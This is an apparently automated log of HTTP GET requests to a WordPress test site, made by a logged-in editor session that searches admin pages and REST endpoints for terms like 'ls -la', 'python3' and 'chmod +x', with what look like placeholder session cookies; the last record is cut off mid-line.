{"method": "GET", "target": "/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""}
{"method": "GET", "target": "/index.php?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207397"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=ls+-la&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207398"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=ls+-la&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207399"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=python3&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=python3&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=powershell&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=powershell&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=sudo%20apt%20install%20nginx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=sudo%20apt%20install%20nginx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=chmod%20%2Bx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=chmod%20%2Bx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=ls%20-la&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=ls%20-la&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-login.php?loggedout=true&wp_lang=en_US", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/page/2/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/page/2/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/index.php/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/index.php/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209938"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=hello&_wpnonce=c7d3be7361&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist%26attachment-filter%26s%3Dpython3%26action%3D-1%26affected%26_ajax_nonce%3Dac194defea%26ps&action=-1&affected=&_ajax_nonce=ac194defea&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=ac194defea&ps", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209922"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209923"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dls%2B-la%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209924"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209925"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=hello&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=0&_per_page=20&_page=1&paged=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php%3Fs%3Dpython3%26comment_status%3Dall%26pagegen_timestamp%3D2026-11-09%2B07%253A38%253A46%26_total%3D1%26_per_page%3D20%26_page%3D1%26_ajax_fetch_list_nonce%3D0b1db04b0a%26action%3D-1%26comment_type%26paged%3D1%26action2%3D-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&action=-1&comment_type&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=hello&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3%26action%3D-1%26new_role%26paged%3D1%26action2%3D-1%26new_role2&action=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3&action=-1&new_role&paged=1&action2=-1&new_role2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&_wpnonce=21dd43bdf4&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php&action=-1&comment_type=&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209926"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php?s=python3&_wpnonce=63da9c4bb8&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=&paged=1&action2=-1&new_role2=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209927"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?s=python3&plugin_status=all", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 